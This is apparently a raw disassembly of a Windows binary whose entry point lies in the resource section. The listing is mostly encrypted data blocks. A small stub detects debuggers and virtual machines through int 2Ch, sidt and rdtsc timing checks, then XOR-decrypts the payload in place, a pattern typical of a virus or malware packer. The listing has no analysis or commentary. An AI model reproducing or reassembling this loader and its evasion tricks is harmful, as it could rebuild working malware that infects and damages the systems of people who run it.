		dd 3E8E706Ch, 3CB85357h, 840D0BB4h, 15FF1A65h, 0E3D629DCh
		dd 898F587Bh, 1C0EBB32h, 0B7B7A0E0h, 0ECD653CCh, 5D97F145h
		dd 0C1B69A94h, 0ABD25ECh
		dd 91667714h, 4B11D908h, 2DCA6FADh, 104ADA3Fh, 0BC3B33ECh
		dd 0FD2A0A0Ch, 54B6CAC5h, 1EDD40CAh, 0B016A758h, 9D16F08h
		dd 398F3FE0h, 2136E468h, 247E4384h, 78CA37B8h, 69865DFAh
		dd 0E1976047h, 5226E309h, 0AABCCB8Ch, 0AC233B62h, 65D21201h
		dd 609E7386h, 0EF2A57D8h, 998B7467h, 5862BF46h,	6652E720h
		dd 38C2B257h, 1D487BC4h, 0AFF22598h, 0B201834Ch, 0AB1A6287h
		dd 4F3DAB54h, 6860E25Dh, 118C63BCh, 2DBA0BE0h, 63D8CA4h
		dd 0E564DFD5h, 813A8E2Ch, 309F9718h, 7F90FE79h,	982F3FF0h
		dd 0F1C63BD1h, 0CD302943h, 0A69DED15h, 0C5C46375h, 0A1EE100Ch
		dd 56DB9846h, 0A7CB66AAh, 85825FA6h, 2408D1B1h,	951227D8h
		dd 0D8D1641Eh, 0ECF19872h, 2A7784E1h, 16655CB2h, 4723867Ah
		dd 0A6E23FC6h, 5A31C478h, 18E5F491h, 994ECD04h,	504512A0h
		dd 15D7538Ch, 68BA1FD2h, 0BC412B94h, 0F502EAECh, 0A92B5EFCh
		dd 0D93A8748h, 106B9C35h, 25D20FDDh, 0C7B633ACh, 0BD525A1Dh
		dd 9FB7CB74h, 52DD40CEh, 31130399h, 4DDA67E8h, 0DD8C6644h
		dd 4A78E260h, 4EF97DACh, 3BA517D6h, 0F9707F4h, 0FA22BE75h
		dd 0BC4FD71Ch, 820EE72Dh, 55CB7844h, 4E06DE5h, 4CD71698h
		dd 9D0A77D2h, 0A951AB14h, 0B80F8A03h, 5666B139h, 68FE55C9h
		dd 13835AEAh, 0A0DE4AF2h, 843AA722h, 0E466840Bh, 0D95FC334h
		dd 14E226A0h, 74C60792h, 4EDF77F0h, 8D00BAD0h, 0D121EF6Ch
		dd 0E852DD4Dh, 5DD0F076h, 1ED446D9h, 7DC14BD1h,	0D1E16DF5h
		dd 0ED368B09h, 79B7DA20h, 0A5960181h, 0C971FA62h, 0BB6A9B4Ch
		dd 8F5E993Bh, 5BE776E2h, 188650D8h, 49B30E8h, 0B323A190h
		dd 9777E757h, 0B317D309h, 52D3F73Dh, 6FBE27C1h,	3B871682h
		dd 91F930B8h, 0E877C86Bh, 0ED47DB25h, 6541C600h, 4BB3AB8h
		dd 69C357D9h, 459E58B3h, 0D427AB31h, 0EBD2E971h, 0D4D78203h
		dd 6DFD14F0h, 31FB5F66h, 85B2230Ah, 76F3275Fh, 33BB10F1h
		dd 0CC759881h, 6DECB9B7h, 37D030A8h, 8B0654ACh,	0A835AF57h
		dd 0D8FC7115h, 0EE9857D6h, 6193B36Ch, 747C8FE2h, 1D7AB94Fh
		dd 0ED7A0524h, 39AE1B64h, 65920F80h, 41F673ECh,	0BD2A57D8h
		dd 891E8B34h, 0D562FF70h, 3146C35Ch, 0D9A27A8h,	198E7B84h
		dd 0C5B22FA0h, 0E156D34Ch, 9D0AF778h, 0A93EAB14h, 0F5975FD0h
		dd 92860C63h, 6D83A12Dh, 5CEDDBA4h, 0A512F6EAh,	0C281BC2Ch
		dd 65B91A0Ch, 4F95FCFBh, 5129EFB3h, 0B3AD27B8h,	0F6439564h
		dd 4DBDB306h, 0AEE62D6Bh, 349F9F4Eh, 0DD0A8E9Eh, 0D0D46EDDh
		dd 30691FD0h, 0B38EE13Fh, 69382611h, 4EAB13E4h,	0D12CF22h
		dd 0C176F308h, 3DAAF730h, 2D1B86B4h, 0CE23FD2h,	0BDB25BE5h
		dd 6F1E67ABh, 178B04F3h, 8632EF19h, 0ECD58A3Bh,	1DCA550Fh
		dd 59413B77h, 764250ACh, 6784E794h, 8F1E1A81h, 436D5B64h
		dd 0ED73BC0h, 11C4309Eh, 0A5965915h, 0F3DD952Fh, 6A26CB30h
		dd 8E05682Eh, 1A32779Ah, 0F2B1C43Bh, 0AFFFC4AEh, 799653B5h
		dd 9EFE7CBBh, 506CEE5Bh, 30C59F50h, 0D1669AB2h,	0ED7AC748h
		dd 39AE278Ch, 0EB178480h, 0A9F633D5h, 42D5A0ADh, 891E93DCh
		dd 5BDF7C70h, 31468365h, 90132FDDh, 19CE5924h, 484DB34Bh
		dd 0E116EAC2h, 0F8F78BBh, 203EEB2Dh, 35FBD145h,	11E58BFCh
		dd 0E4890788h, 79FD5067h, 0F752CF40h, 7EC85EC4h, 0D77F94E7h
		dd 4ADE0BCDh, 19D8BC66h, 0F6020C9Ch, 4E5AE769h,	56CEAB3Eh
		dd 85F29264h, 0AD54180Ch, 23825F68h, 6C7D14ABh,	35C2263Ah
		dd 0DBF6E5BFh, 6D03C7C0h, 40AE8290h, 0A511FB2Eh, 89FD0287h
		dd 0E24B5659h, 8841D46Bh, 19AE3B09h, 0E82A36DCh, 74996F03h
		dd 2E81F4FEh, 2332AF20h, 52282B4Dh, 0B60F78CAh,	7FBE2B94h
		dd 8042E5D3h, 812C6879h, 0A7B185E3h, 91BFAA27h,	0DA2DB1B2h
		dd 381C86AFh, 78C717D8h, 0C6A5B3B4h, 95223BB4h,	0DBB37C1Ch
		dd 1DDA27D1h, 26B06E2Ch, 0AFF7EC9Fh, 0AE9653B5h, 1DF39D3Dh
		dd 4DFA68D4h, 0B7C21C43h, 6729780Fh, 6D682440h,	0F8FD3BADh
		dd 4C962BA4h, 4DDF57F0h, 566A0CFCh, 86E50ADDh, 0A1BF44A7h
		dd 99BD4262h, 794149EDh, 4075FAB2h, 0B14D8E9Bh,	37AD5262h
		dd 0E9A6425Ah, 3AC52A32h, 1310739h, 6C1DE2E2h, 59495F61h
		dd 0BF955AB2h, 0D1B3EA7Fh, 0B1CD3222h, 90BB227h, 0DB4BB4F2h
		dd 4EA27F89h, 0E797275h, 0FD9B997h, 0A7215250h,	8531901Fh
		dd 494E9766h, 22B5412Dh, 0CDAF7EDCh, 8DE41FD0h,	0B3A43B8Dh
		dd 6FF9A308h, 0D385FD06h, 1FFAD706h, 42890C99h,	0EC2DDF9Ah
		dd 0E1C60EDEh, 0AA1D8A1Dh, 0C2C5B95Ch, 8F4A1723h, 0D92A2A81h
		dd 62D90520h, 0CB8E3BA6h, 68898D78h, 0C1AF9B8Ch, 0ABD2A9Dh
		dd 9166E2C4h, 0D9E80308h, 870E8A29h, 0CE24A40Ah, 1B68BA9h
		dd 1FC19798h, 74D308CBh, 95628B0Ch, 453706EBh, 4DDA67A8h
		dd 0DA3ABBC4h, 0F2D88FD0h, 61A22209h, 5DCA34B8h, 9F7A64D5h
		dd 0D029F10h, 39CA2869h, 50F36CE3h, 39EE22F2h, 0CE38E730h
		dd 75C7F61Bh, 0BD2A5798h, 34978A34h, 0D522C6EAh, 0B4B18828h
		dd 0DDA1399h, 1B8E7B84h, 3AD64818h, 5953A67Ah, 0B381931Fh
		dd 0A986CDBFh, 16939D0h, 0BBBBD3FFh, 198B827Fh,	0F96EDBE4h
		dd 28EAC740h, 0F436BB41h, 4C6F600Eh, 49DE0BC0h,	0ADA63FB0h
		dd 0F18EC61Fh, 4EE2E21Ch, 0F2CE43A9h, 0B47798AFh, 0A216D338h
		dd 0A94AB738h, 43975B50h, 0A307943Bh, 0DAA66385h, 0E4326C07h
		dd 3CD967ACh, 0E552BB31h, 0C176F36Fh, 5A12882Ch, 80A8F4D0h
		dd 15DBE14Dh, 0B17EE8DCh, 267EC028h, 992872BCh,	0F8DA0420h
		dd 0D129AC32h, 0E1459FD8h, 105DD46Bh, 0E0BD6736h, 3AF7481Ah
		dd 990B1283h, 0AB195B64h, 25D18D37h, 15C333ACh,	2948070h
		dd 21417B8Bh, 6ADD4399h, 64F93B7Ah, 0E64BCC8Eh,	5CC5F44Fh
		dd 532D6FEh, 691FDBA7h,	6C4FC044h, 6DFE2BE0h, 0C1029F10h
		dd 110F1B2Eh, 55D10FB6h, 3DDADB6Ch, 9DE7B72Bh, 0B65D1407h
		dd 0FD1E665Dh, 891E8334h, 55288A70h, 7172ECE1h,	4CEE27A8h
		dd 3096523Ch, 0EE172569h, 21569378h, 3800F49Ch,	0A97E9F3Fh
		dd 0DF73EF7Bh, 25C9E676h, 9D1007C8h, 0D2EBD1E4h, 0F528F74h
		dd 7CD40B4Ah, 49DB12EFh, 49CE4BB4h, 12D63FB0h, 972C4A2Ch
		dd 0ABA692D0h, 0F3260BEFh, 0C59AFD3h, 0E12F11B1h, 0ECCF4038h
		dd 0C97EAB60h, 40821F90h, 5BFE93B5h, 2DCE6E4Dh,	14831E4h
		dd 60E54F81h, 0C136C75Dh, 3DAAD718h, 0CD1E08C0h, 7C4775D8h
		dd 0D7C603E8h, 0BA72E83h, 320EBB3Dh, 71032AD7h,	61D6538Ch
		dd 14FF37F8h, 0ACBC7B24h, 0F502EB79h, 0A0E314D6h, 2D3AC73Ch
		dd 0CEE5B24h, 2F6AFFCBh, 41821929h, 0C081BD98h,	0D16F7312h
		dd 0A1133AC7h, 7006835Ch, 4FAE67E8h, 7C441274h,	532DB4Ah
		dd 2B95F74Ch, 1DFE1D1Dh, 0F550DD4h, 42F21EA8h, 911292B9h
		dd 0ED78C748h, 8DAC6E64h, 4F370548h, 27F633D8h,	1F97DE73h
		dd 311ECB0Dh, 0D562DB4Ch, 0C334F7h, 59A679Ch, 6D8E7B84h
		dd 0F437D8CCh, 0E1569378h, 0E80AF77Ch, 0A3861B1Fh, 35F67455h
		dd 5C0DC9FCh, 198B827Fh, 0F16EDBE4h, 0B427CF40h, 61B50B4Ah
		dd 49C13212h, 0E2B84BB4h, 0FE08FF83h, 0D83E6589h, 0E6FFED70h
		dd 99CEFB70h, 20F86C04h, 0A156A727h, 58BD1C5Eh,	0E93EDF65h
		dd 35820F90h, 91279BDAh, 0A97A44BCh, 928B91ECh,	8312CF34h
		dd 44C0FCC7h, 3DEAE377h, 381BFC1Fh, 55E23FC4h, 0C58643DCh
		dd 8F4A1721h, 0D93AD281h, 0C0C50520h, 619667FDh, 1D8A57F8h
		dd 2BCBAD24h, 0BACFDB54h
		dd 0B8C36982h, 243AC73Ch, 39D7D1A9h, 0A57929C0h, 6C33650h
		dd 0B2EA1728h, 3EF48B8Bh, 0D5168EB5h, 7146831Ch, 2B6201E8h
		dd 6D4C4EF5h, 0B5D98949h, 0A131994h, 9DCA778Ch,	0D9546834h
		dd 84876898h, 0D126E308h, 987AC7C8h, 0B328AB66h, 25A62625h
		dd 0C15D15ECh, 0BA5F5224h, 0C69E8B84h, 22C8BF8Fh, 7172F2D9h
		dd 0C9A27A8h, 0A9850E84h, 0EC3725E0h, 4B569378h, 256CF893h
		dd 0C346B97h, 75826BF9h, 1056C89Ah, 1C3FF022h, 0F96E9B90h
		dd 0D052CD40h, 0B0B34403h, 7DEAD72Ch, 3CDE4FF4h, 1F628FAAh
		dd 0B1B22819h, 0FDFF6D68h, 98CEFB70h, 3D947F00h, 11BD126Ah
		dd 6D425C38h, 0C2FBE114h, 9F825FA4h, 6597A64Bh,	6DFA4788h
		dd 0A95B9BECh, 0D913766h, 0F55C5666h, 96CCD718h, 1750A04h
		dd 0D0E83740h, 0B18677F6h, 0BC9F5082h, 990EBB30h, 0F432BF20h
		dd 7F326B9h, 1772F440h,	698A0131h, 0C6E9B950h, 2C4F49BCh
		dd 0AD7ABE82h, 4DDFDED3h, 25D24F80h, 1EC3338Ch,	0E6816029h
		dd 0D1577312h, 0A1081A3Ah, 95C6835Ch, 677F6DEBh, 0BF4E7BF0h
		dd 8FCFC6CBh, 0AB9653B5h, 0D76FBD79h, 0FFE2BEDh, 0B75A2FBBh
		dd 91128AB9h, 688D6D48h, 39EE2F55h, 64920F83h, 4171F7E3h
		dd 0DA9257D8h, 2380050h, 9556CEFDh, 31B7425Ch, 0FA9827A8h
		dd 198E7B45h, 7DB75AA3h, 0CFD1B72Bh, 9D0A4FD3h,	258AB14h
		dd 0CDA459A5h, 0BA808677h, 0A2DD6330h, 395D70A2h, 20A56426h
		dd 8176871Dh, 7CEA9718h, 0CC290B81h, 15E20B81h,	0F986039Ch
		dd 753CC11Ch, 0DC39D7C9h, 85B25BD1h, 0A316930Ch, 0D78B2237h
		dd 6DD58DB5h, 538A6A59h, 37A20704h, 0DDE9AC63h,	0B7C531ECh
		dd 0B84A3766h, 0F55D766Eh, 96CCD718h, 0C02E085Fh, 6467885Ah
		dd 0B1C603E8h, 0F99AA728h, 0B3094B24h, 50686A5h, 7B3692CCh
		dd 3982FEF5h, 1B2994h, 35429F64h, 55E6E098h, 0CC8A2C0Ch
		dd 86563D8Eh, 0C774520h, 67B67398h, 0CCEFE033h,	0E95E8B40h
		dd 0E122BF30h, 4083744Fh, 4DDA27DCh, 0AD6E3BC4h, 6B5186Dh
		dd 5596138Ch, 0F75A87BDh, 0AE75983Fh, 8C80129Bh, 100DA37Ch
		dd 5D8686C1h, 102B113Ch, 0CF924FB4h, 75C7F61Bh,	0BD2A5798h
		dd 856A8B74h, 16324716h, 56F4656h, 77127E8h, 0F971C3E2h
		dd 0F19B8AAAh, 4A30D30Ch, 0A93B728Fh, 0A93DAB54h, 6B65ED0h
		dd 25D7E60Bh, 2DBA07C8h, 0F41AFBA4h, 0A55108B7h, 8442B32Ch
		dd 964007A8h, 0C211C007h, 559BA535h, 784E289Ch,	4691B20h
		dd 6DFF3EB3h, 85F26FA0h, 0AF63938Ch, 0E96332B5h, 0E1F4EB14h
		dd 367B9FD0h, 552BDBCFh, 7DDE0305h, 0B1CE5AE4h,	6B904B0h
		dd 0F0CE956Ah, 5B01B198h, 611E840Ch, 55E27F48h,	1AA0A2DEh
		dd 449F0C70h, 2168FD71h, 0EE546F11h, 0EC7C907Ch, 5DBE4B7Dh
		dd 183BDC94h, 0F5429F64h, 0E476E37Ch, 5511D00Eh, 0F2F7B07Ch
		dd 0DDF96793h, 8C3DE387h, 0FD2A2E3Ah, 0F0DC5E75h, 0AC23BF70h
		dd 7522C797h, 5DB7DA61h, 64C53B84h, 532D6E6h, 181496A7h
		dd 0D83D37F8h, 69BE5FE5h, 0B5029F50h, 9D1A148h,	0ED7E05E3h
		dd 842D4C32h, 65D2362Eh, 98727CECh, 552A57D9h, 891E8B39h
		dd 9B30BA3Bh, 3758F19h,	41D66386h, 911B8484h, 4CB26F95h
		dd 0A16F6DC9h, 0C581A478h, 56E6A828h, 364977A3h, 0E71A8BC8h
		dd 0B831F877h, 0F92EE202h, 0A910CC1Bh, 0B8F436A5h, 3FE99758h
		dd 8F5BC2FCh, 9EA27F89h, 42792BEFh, 0CD5AE7E8h,	0A6386EACh
		dd 234FE41Fh, 0F716D335h, 22BC7ED0h, 4FEB60ABh,	0BE825FA9h
		dd 1BA52BF6h, 0EE346CC4h, 31219E0Dh, 0E5128E60h, 0C02C7763h
		dd 88A9D758h, 9DE321Eh,	6C90CAF3h, 8D6A439Ch, 2F9FA8C0h
		dd 140EFB04h, 0C019AB66h, 61966ABEh, 0F5DA71FBh, 0D641DD12h
		dd 0CCE462D3h, 0E466E33Ch, 0A17DBC03h, 78F5D82Bh, 29394FC0h
		dd 3810A695h, 786517D8h, 0C95ECA79h, 0AC503A33h, 0F060835Ch
		dd 42FF98D0h, 0D94EC741h, 7326460h, 71A250A7h, 0A23C7E50h
		dd 0CF43522Bh, 0BA02DF29h, 0D12647B9h, 47FFC448h, 3AAE5B5Dh
		dd 25AB7D05h, 6AF6F8ECh, 3F255B9Fh, 891E8BF9h, 0DA6AB84Bh
		dd 314607DFh, 0F5AA4A8h, 1A9A3C87h, 858B5D25h, 1E06814Ch
		dd 0DD3349CDh, 0E1AB5414h, 2FC21FE5h, 94E9A379h, 2DBA073Fh
		dd 0F96E474Dh, 0AAADF340h, 813627A9h, 68D41718h, 4955CEFBh
		dd 53293FB0h, 0C5C5289Dh, 38820F38h, 0E4F744BBh, 85B25646h
		dd 2415E479h, 0DD0A8E92h, 0D00C6E57h, 0B00B1FD0h, 51E61A76h
		dd 0E8C14743h, 0B96EA226h, 60298772h, 0C136CAAAh, 3D97BE2Ah
		dd 7BEE0BB4h, 55FD97C7h, 0FF4B43DCh, 0A6DB2CD4h, 894CF806h
		dd 7CF82A1Bh, 6DA3538Ch, 0E29AB37Bh, 0DFAA4A5h,	0EEA9BE4Ch
		dd 3E36CBFh, 0CD3AC731h, 409CEEAFh, 533A4F80h, 6049CC5Ah
		dd 0FD6A1731h, 0E250BEF4h, 9C50B377h, 7E0EC427h, 0B2255B6Ah
		dd 5C41723Bh, 0FA8D11D2h, 0A0B22F07h, 5DEE061Fh, 960194D4h
		dd 343E746Fh, 0D1468776h, 0DE342748h, 1DA290A4h, 5C3C8A07h
		dd 0F87B73ACh, 0BD2A73EDh, 0B06C0E37h, 7004FF30h, 0F76D8DF9h
		dd 268E65ABh, 5F4877C6h, 4475C75Bh, 0E156D31Eh,	9D0AF77Dh
		dd 0F6C2ED9Dh, 0C04F9C8Eh, 11A65BB2h, 512FF8DEh, 7A6E9B91h
		dd 215D30B8h, 8136B397h, 44B81291h, 49B44BB4h, 0A137C0E6h
		dd 748643A9h, 69DEE8A8h, 72CEBB44h, 0EFA23F20h,	0A07CC30Fh
		dd 0DD4AB750h, 7C81BD94h, 35C22ACCh, 5E59DB3Fh,	6DFF794Ch
		dd 0EFAB12E4h, 6812CF39h, 814FA9E1h, 5F3F5A58h,	589E4B8Dh
		dd 5E215A2h, 8442D623h,	7599A768h, 958AF4FBh, 2F32AF25h
		dd 3763ACCCh, 0E28A37C1h, 698BAB01h, 0ABA5C50h,	95936773h
		dd 28B38708h, 79AE624Eh, 0E6D186F3h, 6BE763FDh,	4895469Ch
		dd 0C91EF222h, 0A0422ACFh, 0B183835Ch, 490BE3E7h, 107D3BC4h
		dd 3C1C6AE9h, 70C713CCh, 5DD55FE9h, 96AE6BDBh, 0F5373F85h
		dd 0DEE6263Ch, 0ED7E4DCCh, 4B2B9264h, 0A6924FB9h, 419FBE54h
		dd 8561DCD8h, 0BD2F0EC3h, 0D562FF30h, 3733D35Ch, 1DF7A2ABh
		dd 0CBBD7BC4h, 3445EEA3h, 64DF32BBh, 9D4ACE02h,	0A91A90ACh
		dd 4989D4D0h, 18BE6FFh,	0FF8907C8h, 8991AA7h, 20DB2EB7h
		dd 81768A5Ah, 365D98DBh, 7C3DB2F2h, 1ABA6C3Dh, 0F292402Bh
		dd 0C31AEB8h, 0D81EB86Ch, 0EC8530DAh, 0BC626A62h, 0DC46CDBBh
		dd 0A2F50B26h, 21C094ACh, 0DCB661BFh, 9A050F8Ch, 82EFB83Dh
		dd 0A52BE585h, 95FD306Ch, 0FD99C77Ch, 926893Bh,	0DE217FF0h
		dd 3CCDA813h, 0CD22E995h, 46850704h, 799E6613h,	5DD021ADh
		dd 31880082h, 758281B4h, 0DB7E3324h, 915A3E08h,	64D96F7Dh
		dd 3CD35AAFh, 51D20A98h, 42E50EA7h, 786517CAh, 36A13447h
		dd 0C21FBCBBh, 7E45CD55h, 0B225416Ch, 9A19063Bh, 817DA135h
		dd 0DE69EC97h, 6E896085h, 797A64E6h, 88FD60EFh,	9E72F06Ch
		dd 127F4347h, 0E29DE49Bh, 9A6C2268h, 0B9727C13h, 8ED5A826h
		dd 890863E6h, 0BA8AFF70h, 0D9B93CA3h, 0D9A27A8h, 9363FAD9h
		dd 2CB26F8Fh, 0E156D071h, 1638081Ch, 0E907D9A1h, 574B3BD0h
		dd 5CD8E29Ah, 0B3F08D2h, 726EDBA7h, 7B51F31Eh, 0D10D324Ah
		dd 6B6F985Dh, 0BEDE4BF7h, 35A229F3h, 7489039Ch,	0CD5AE461h
		dd 5B92F8B2h, 8AD2216Bh, 0A1146F88h, 5C465438h,	0E97FEAADh
		dd 0DB041090h, 0B9A623BEh, 9205B905h, 0BBCD19EBh, 0AF998F00h
		dd 0CD3CF07Ch, 3CAAD7E0h, 0E7765AB4h, 651D801Ah, 0F1F26C49h
		dd 0BD3A1628h, 0D93ACBB1h, 0BB12C520h, 75AE0B05h, 0E260A310h
		dd 266CAE6Bh, 17911DC4h
		dd 0A557764Dh, 48D18748h, 79EE5D4Ch, 23BA16C0h,	59B633ACh
		dd 280A370h, 0E0DB418Bh, 1322FF04h, 452FA998h, 0C85267A8h
		dd 0D90E0FEDh, 80850F82h, 21D627BDh, 5DCA37B0h,	0D47E62A1h
		dd 0B542AB3Bh, 26E3D73Dh, 0AD4EF6CDh, 39AE1864h, 0E5897B81h
		dd 1C25A51h, 0D5E52D8h,	0BD3436B4h, 0A167FF30h,	1AFB43FBh
		dd 89A679Ch, 9C79E5F0h,	0C5F21B91h, 6156D34Ch, 208AFE0Ch
		dd 0A97E9F3Dh, 0F64B28D2h, 51DFCD59h, 0A2520788h, 11912450h
		dd 5AAD3280h, 813496C4h, 0B771C18h, 0A1DE0BCDh,	0EA5DC36Eh
		dd 0F38D8793h, 78D1E768h, 598E8236h, 86CE316Bh,	5CC97BD2h
		dd 5F4548C7h, 0E97EEAA1h, 55A65511h, 0DA4623BCh, 6EAC1536h
		dd 0C32D8F9Eh, 0D4977810h, 0C176B358h, 48BAD758h, 352B86BAh
		dd 0DEE23FC4h, 0F1D62E51h, 0DABE5428h, 9907F4BDh, 45872220h
		dd 92D613DCh, 0FE8AC65Dh, 0DE1AD896h, 0B576EED5h, 9166E37Ch
		dd 5BE8818h, 86EE5B24h,	4A3A67B3h, 8A49CC5Dh, 0BD53B10Dh
		dd 0C68C4E74h, 95222DB4h, 3B3081Ch, 0C6DA27D1h,	93CF2B8Eh
		dd 5728F44h, 29DC386Ch,	94F935CBh, 52EA19D7h, 0F512F29Dh
		dd 0BCAB283Ch, 9F7A8758h, 1D929032h, 75FFAA03h,	0C2F673ACh
		dd 0BD2A3A7Fh, 0F3958B34h, 0DD28FE78h, 0C6C1345Fh, 341CA223h
		dd 9C797BC4h, 0C5F21B91h, 0E156D30Ch, 85FDF50Ch, 8032D917h
		dd 0DB77D6E0h, 9AE623C5h, 1DBB2FFBh, 0CD5F5E53h, 0A512CF00h
		dd 8342B32Ch, 95BB8FEFh, 0B621B740h, 16AED4E9h,	83AD2BEFh
		dd 3E0CB664h, 0D497E4E0h, 0C5C65355h, 0FEB2600Ch, 4F7BB866h
		dd 0E8AC6CD9h, 0A0B81F90h, 51E61793h, 0BF9341BDh, 0AB1ACD9Ch
		dd 0DEDDF88h, 3E892CA0h, 31E05C02h, 0FE8E41B7h,	15D64E75h
		dd 0B1C643DCh, 8B5B2A38h, 1487E871h, 4572968Eh,	71BBD6CFh
		dd 0BA0977B8h, 29BE2BF9h, 0DD01F450h, 0A8185683h, 2AB38748h
		dd 79EE5B76h, 0D2F2094Fh, 41820229h, 0FD6A1798h, 9B59BFF4h
		dd 6ADB98D8h, 0FC8DD9E3h, 4D9A5E46h, 92C73827h,	15386448h
		dd 18E09607h, 17F337F8h, 0E0FD18DCh, 0F703975Ah, 8945202Ch
		dd 97FF4C48h, 51AE5B5Dh, 65922BBCh, 18FE31EDh, 377A14D9h
		dd 0C92AA4A1h, 0E4E70870h, 31468368h, 798A27A8h, 74037882h
		dd 73B26FB0h, 0D0D3244Ch, 9D0AB74Ch, 0DC3EA914h, 8204A1C4h
		dd 51D25279h, 29BA0788h, 7368AEA4h, 0E566FFF5h,	0B0B3442Ch
		dd 7DEAD72Ch, 3CDE4BB4h, 17A5B5BBh, 2784A95Eh, 0C4B1108Ah
		dd 9BFCBCCEh, 67246D4Ah, 0C5C4A0FBh, 522E95B3h,	54FDB356h
		dd 35C226C6h, 0D9222CBCh, 9205B833h, 0F917E951h, 21877000h
		dd 3E76B359h, 7D93B9EDh, 350BF4B4h, 0D8E23FC5h,	0F1FF1951h
		dd 0EF8F2A28h, 0C80EBB3Dh, 0BA32C572h, 21EF0579h, 0A51F88F8h
		dd 0D6BE6BA1h, 0B57B89E5h, 0ADF31C7Ch, 203AC73Dh, 39D61591h
		dd 7767B0C0h, 57B67395h, 0C8DE8267h, 6CDDCB34h,	95628666h
		dd 71EE401Ch, 10DA67E8h, 34CF3AAEh, 532DC29h, 0E099E3D4h
		dd 1DDFB73Dh, 0AA3EEED4h, 45FD5793h, 51A36233h,	2E7A875Dh
		dd 13AE0B59h, 38E7A80h,	4DD20F6Dh, 0AE5F26B4h, 76DA6354h
		dd 0D017008Fh, 0CEBDBDB4h, 0F248CF57h, 37EF847Bh, 93CA025Fh
		dd 0C4EEC178h, 0FD0AF778h, 56C10EFCh, 0FEFB2A2Fh, 9CD647B8h
		dd 6D82493Dh, 0F13E50A4h, 0A3684E26h, 0D713C02Eh, 82EA9770h
		dd 231AC0F4h, 0EAF26DB0h, 0B1B3FB09h, 0C59E6468h, 669285C5h
		dd 868733DFh, 4912558Fh, 22B54C13h, 168194BCh, 8D417E6Fh
		dd 51A623C8h, 4242F623h, 512E9BE4h, 0E5128F10h,	7976D3AEh
		dd 3DAAD768h, 99E085Ch,	55C6BDF0h, 0BDE21751h, 759989E5h
		dd 0F9178704h, 4532AFC8h, 4582D8CCh, 7012AC8h, 1DADC615h
		dd 0CCAADF10h, 0F0991C99h, 0AE3A83CAh, 7FE95925h, 3BC0FBC5h
		dd 16AD4200h, 0EDFCC3FFh, 7FEFh, 12C8h dup(0)
		assume ds:CODE

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near
		cld
		call	loc_43042E
start		endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_430406	proc near		; CODE XREF: .rsrc:0043047Dp
		push	ebx
		mov	ecx, 0DA5h
		mov	ebx, edx


loc_43040E:				; CODE XREF: sub_430406+13j
		xor	[eax], dx
		lea	eax, [eax+2]
		xchg	dl, dh
		lea	edx, [ebx+edx]	; CODE XREF: .rsrc:00430491j
		loop	loc_43040E
		pop	ebx
		retn
sub_430406	endp

; ---------------------------------------------------------------------------
		db 0A4h, 2Ah
; ---------------------------------------------------------------------------


loc_43041F:				; CODE XREF: .rsrc:00430468j
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430421:				; CODE XREF: .rsrc:00430436j
					; .rsrc:00430447j
		push	ebp
		mov	eax, 8000h
		xor	ecx, ecx
		jmp	short loc_430455

; =============== S U B	R O U T	I N E =======================================



sub_43042B	proc near		; CODE XREF: .rsrc:0043044Ap
					; .rsrc:00430450p
		rdtsc
		retn
sub_43042B	endp

; ---------------------------------------------------------------------------


loc_43042E:				; CODE XREF: start+1p
		test	eax, eax
		jnz	short loc_43043A
		int	2Ch		; Internal routine for MSDOS (IRET)
		test	eax, eax
		jns	short loc_430421
		jmp	short loc_430449
; ---------------------------------------------------------------------------


loc_43043A:				; CODE XREF: .rsrc:00430430j
		push	eax
		sidt	fword ptr [esp-2]
		pop	eax
		mov	eax, [eax+6]
		shl	eax, 10h
		jns	short loc_430421


loc_430449:				; CODE XREF: .rsrc:00430438j
		push	ebp
		call	sub_43042B
		xchg	eax, ecx
		call	sub_43042B


loc_430455:				; CODE XREF: .rsrc:00430429j
		sub	eax, ecx
		mov	ebp, [esp+4]
		sub	dword ptr [esp+4], 7006h
		sub	eax, 100h
		jnb	short loc_43041F
		sub	ebp, 301006h
		lea	eax, [ebp+301082h]
		mov	dx, [eax-65h]
		call	sub_430406
		dec	edi
		sub	al, [ebp-6Eh]
		push	esi
		icebp
		sbb	al, 7Eh
		inc	ecx
		cmp	[ebx+167693h], dl
		jbe	short near ptr loc_430416+2
		adc	[ecx], eax
		mov	eax, [ebp+33h]
		mov	eax, 2D57E97Ch
		or	ebp, ebp
; ---------------------------------------------------------------------------
		dd 0D80121FEh, 0E5F250C9h, 4E3C0B58h, 0F886B0C0h, 0D92F2E02h
		dd 0CD631D78h, 95F93929h, 192945E8h, 3D711516h,	91D79CB4h
		dd 0AE510CA3h, 8F09550Fh, 4D872193h, 9AA37809h,	0EC65CC29h
		dd 0CF51D790h, 0FE703E13h, 37A05C6Bh, 0D4A3FC8Eh, 7FB83598h
		dd 0F5164C1Fh, 94018069h, 10983738h, 55DE6763h,	911DA291h
		dd 9D47E2D7h, 189FA48Dh, 6BD56A90h, 39B41CE7h, 67EE9DDDh
		dd 0B618C9DFh, 0C3731F15h, 0A211194Ah, 69709C91h, 3363E7D6h
		dd 6559B5B1h, 47AC8B44h, 2D08ACADh, 6013B7DEh, 0DA11F0DFh
		dd 0EA823BB1h, 1DB28D8Dh, 87304924h, 296AA82Bh,	249DC9ECh
		dd 0E6EB624Bh, 953A96A7h, 8374E0A0h, 0D6D93405h, 1D8CDAB6h
		dd 4FC05CD1h, 0F84490B5h, 73AEE2A6h, 0D9E20E15h, 32B7E528h
		dd 8520DBDAh, 0E4589814h, 0B9697978h, 0E414472Dh, 3F8A3A08h
		dd 1CC853ECh, 0C8673F4Ch, 29AC81B1h, 7AC44562h,	0ED4018F5h
		dd 17A1F8DEh, 0CBCA44BBh, 742EBAA6h, 7F246B1h, 51CC28F3h
		dd 4A8EB17Eh, 87ABC784h, 0B6378393h, 0A6E7E7EBh, 0FBD3101h
		dd 40A3FF9Fh, 88E432CEh, 4D40ACB1h, 0D08B64ACh,	0F2DE3A38h
		dd 23ADBC84h, 0EDF0D7E7h, 0D141B01Fh, 0A0F5F575h, 0E3E77354h
		dd 0CA7EF87h, 0F42113E0h, 0FABE2D4Dh, 0A14B81F5h, 0FAA98C7Eh
		dd 75A5B48Eh, 9F261AE9h, 0F30C3E44h, 0E536C179h, 81F9563Eh
		dd 0AF5DDB24h, 9E96C2D9h, 2CE1E005h, 0B9CB0B9Fh, 0E0955E5Fh
		dd 30D0472Eh, 0A79FFFFCh, 0F76DC9A3h, 24A9679Ah, 110B5742h
